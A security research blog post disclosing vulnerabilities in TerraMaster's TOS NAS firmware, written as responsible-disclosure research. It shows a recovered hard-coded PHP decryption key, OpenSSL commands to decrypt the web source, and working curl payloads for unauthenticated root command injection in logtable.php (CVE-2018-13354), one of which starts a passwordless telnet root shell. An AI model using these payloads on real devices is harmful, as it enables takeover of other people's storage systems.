TerraMaster NAS Vulnerabilities Discovered and Exploited

ISE Labs Earns 24 CVEs for New Vulnerabilities in TOS, TerraMaster’s NAS OS

As part of ISE Labs second wave of research into embedded devices, we took a look at TerraMaster’s F2–420 Network Attached Storage (NAS) device. This NAS runs TerraMaster’s proprietary firmware, TOS. We specifically looked at version 3.1.03, the latest version available when we began our review.

Our research on the TerraMaster F2–420 resulted in the awarding of 24 CVEs. Many of our findings would allow attackers to remotely compromise the device. In this blog, I’ll be demonstrating one method which attackers could use to gain root access without any authentication. We will publish a separate post detailing all issues found in the TerraMaster F2–420 soon.

Getting Started

Embedded devices present a large scope which includes any web applications, desktop and mobile applications used to interface with the system, as well as the operating system and any server-side processes. With this in mind, we began our service enumeration phase of the F2–420 with port and service enumeration using Nmap, to see what services may be running on the device.

PORT STATE SERVICE REASON VERSION 21/tcp open ftp syn-ack ttl 64 23/tcp open telnet syn-ack ttl 64 BusyBox telnetd 80/tcp open http syn-ack ttl 64 111/tcp open rpcbind syn-ack ttl 64 2-4 (RPC #100000) 139/tcp open netbios-ssn syn-ack ttl 64 Samba smbd 3.X (workgroup: TNAS-003489) 443/tcp open ssl/https syn-ack ttl 64 445/tcp open netbios-ssn syn-ack ttl 64 Samba smbd 3.X (workgroup: TNAS-003489) 548/tcp open afp syn-ack ttl 64 Netatalk 3.1.11 (name: TNAS-003489; protocol 3.4) 2049/tcp open nfs syn-ack ttl 64 2-4 (RPC #100003) 3260/tcp open iscsi? syn-ack ttl 64 5443/tcp open ssl/http syn-ack ttl 64 nginx 1.9.4 8181/tcp open http syn-ack ttl 64 nginx 1.9.4 9222/tcp open ssh syn-ack ttl 64 OpenSSH 6.8 (protocol 2.0) 47382/tcp open status syn-ack ttl 64 1 (RPC #100024) 49152/tcp open upnp syn-ack ttl 64 Portable SDK for UPnP devices 1.6.19 (Linux 4.0.0; UPnP 1.0) 57736/tcp open mountd syn-ack ttl 64 1-3 (RPC #100005) 60032/tcp open nlockmgr syn-ack ttl 64 1-4 (RPC #100021)

With these results, we know the device is running a slew of file sharing services, telnet, SSH, and four HTTP servers.

So let’s check out the web application for TOS. I’ll be using the web application on port 5443 over HTTPS. Please note that the F2–420 I am testing has a local IP address of 10.42.4.142 and this address will appear throughout this blog.

We get a standard-looking login page, but interestingly enough, ‘admin’ is prefilled in the username field. We can also assume the application is written in PHP based off of the file extension in the URL.

Once we login and finish the initial setup, we’re greeted with a web application that mimics a traditional desktop.

TOS comes with several pre-installed applications, and we’ve also installed some ourselves. SSH is a service enabled by default and with credentials that match those used by the web application. We could proceed using traditional web application testing techniques, but since we have access via SSH, lets see if we can pull of the web application source code to help expedite our testing.

We can ssh on port 9222 with the admin account:

ssh admin@10.42.4.142 -p 9222 [admin@TEST ~]$ pwd /home/admin [admin@TEST ~]$ whoami admin [admin@TEST ~]$ sudo -bash: sudo: command not found [admin@TEST ~]$ su su: must be suid to work properly

However, we cannot obtain root access using sudo or su . Moving on, we can search for the application source code with a command like find / -name *.php . We’re looking for PHP files because of the file extension we saw in the web application URL earlier. There are a lot of results in various different directories, but the main application appears to be in /usr/www/ .

Very quickly, we discover something is wrong.

[admin@TEST www]$ file 3.0/index.php 3.0/index.php: data

Upon further inspection of index.php, we find that the file appears to be encrypted. In fact, all of the PHP files in /usr/www/ appear to be encrypted. So now what?

Compromising the NAS

We know they are PHP files, so the PHP interpreter may be responsible for their decryption. Let’s extract the php binary (located at /usr/sbin/php ) and look at it in a binary disassembler; we will be using Binary Ninja.

We first do a search for “aes” based upon the assumption they are using a standard symmetric encryption algorithm. With this search, we find a function called “screw_aes”

screw_aes in Binary Ninja

Looking at the cross-references, we find this function is called here:

Function that calls screw_aes. The string that is MD5 hashed to become the encryption key is highlighted.

And here we can see the string that becomes the encryption key: GH65Hws2jedf3fl3MeK

Of note: we see the above key is MD5 hashed in the following line, giving the true encryption key.

Now that we have the key used to decrypt the files, we can write a command to decrypt them using OpenSSL. OpenSSL expects the key in ASCII hex format, so we can convert it with the following command:

$ echo -n GH65Hws2jedf3fl3MeK | md5sum | cut -f1 -d' ' | tr -d '

' | od -t x1 -A n | tr -d '

'

Which produces: 3834326434326239383837366635383166306466626566623063643262356333

Finally, decrypt the file with:

$ openssl aes-256-cbc -d -K 3834326434326239383837366635383166306466626566623063643262356333 -iv 0 -in index.php

The decryption isn’t complete, errors occur in the beginning and end of the files, however, we still have very useful source code.

We can automate this process using find to recursively decrypt all .php files and create near-plaintext files with a “.dec.php” extension:

$ find . -name '*.php' -exec bash -c "openssl aes-256-cbc -d -K 3834326434326239383837366635383166306466626566623063643262356333 -iv 0 -in {} > {}.dec.php " \;

With the PHP files decrypted, we can now start searching for dangerous functions.

$ find . -name '*.dec.php' -exec grep "exec*" {} /dev/null \;

The above find command searches our decrypted files for “exec”, a PHP function for running system commands.

Turns out, there are a lot of system commands being run all over the place:

$ find . -name '*.dec.php' -exec grep "exec*" {} /dev/null \; | wc -l 710

While 710 may be inflated a bit because “exec*” may match things other than the exec() function, this is still a very high number. We are going to look at a single example.

One of the matches from the above exec() search is located in /usr/www/include/class/plugs.php . Lines 813–827 define the _logtotal() function:

This interesting function builds a SQL query using the parameters, $table , and $type . We can see on line 822 (line 12 above) that the SQL query is built using the $type variable through string interpolation. At the very least, this may be a viable SQL injection point. But if we continue looking at the _logtotal() function we can see the SQL query is finally executed using exec() on line 825 (line 15 above).

We have found a function that might be able to give us both SQL injection and command injection. Let’s find where this is called:

$ find . -name '*.dec.php' -exec grep "_logtotal" {} /dev/null \; ./include/ajax/logtable.php.dec.php: echo $plugs→_logtotal($data['table'],$data['Event']);

logtable.php . Let’s open that up and see where _logttotal() is called. Near the bottom, near lines 184–187, we find:

From the top of logtable.php , we see $data being assigned the contents of a POST body. It appears that _logtotal() is called with unsanitized input from a POST request. Crucially, we also fail to see any authentication or authorization check before hand.

Now we’re just a POST request away from compromising the F2–420. Let’s make one using curl . We know we need to provide a parameter called tab set to “gettotal”, a parameter called table , and another called Event . It looks like Event will be our injection point, as it is the second parameter sent to _logtotal() which we know is appended to a SQL query passed to exec() .

$ curl -k -i -d "tab=gettotal&table=mytable&Event=%60touch%20%2Ftmp%2Fise%60" -X POST https://10.42.4.142:5443/include/ajax/logtable.php

This request should create a file in /tmp called “ise”. Note that we don’t know any table names, so we just try “mytable”.

[admin@TEST ~]$ ls -l /tmp/ise -rw-r--r-- 1 root root 0 Jul 12 21:07 /tmp/ise

Success! Our payload created the “ise” file in /tmp , and as a bonus it was created as the root user. With unauthenticated command injection as root, we can effectively take over any TOS devices that we have network-level access to. One method for accomplishing this is to start a telnet server that will provide connectors with a root shell, no password necessary. The following curl command will open such a telnet server on port 12345:

curl -k -i -d "tab=gettotal&table=mytable&Event=%60%2Fusr%2Fsbin%2Ftelnetd+-l+%2Fbin%2Fsh+-p+12345%60" -X POST https://10.42.4.105:5443/include/ajax/logtable.php

We can connect with:

$ telnet 10.42.4.105 12345

For reference, the unauthenticated command injection vulnerability in logtable.php via the Event parameter is CVE-2018–13354.

Conclusion

In this post, we showed how to compromise the device without authentication. Any attacker who purchases a TOS-compatible device, such as the F2–420, could potentially develop an exploit that affects all devices running TOS. We demonstrated just one approach for gaining root access to the F2–420, there exist several more. Stay tuned for our upcoming post containing details on the 24 CVEs awarded to ISE Labs for our research on the TerraMaster F2–420.

Responsible Disclosure Timeline

Initial Contact: June 12, 2018

Vulnerabilities disclosed: June 13, 2018

Vendor response: June 14, 2018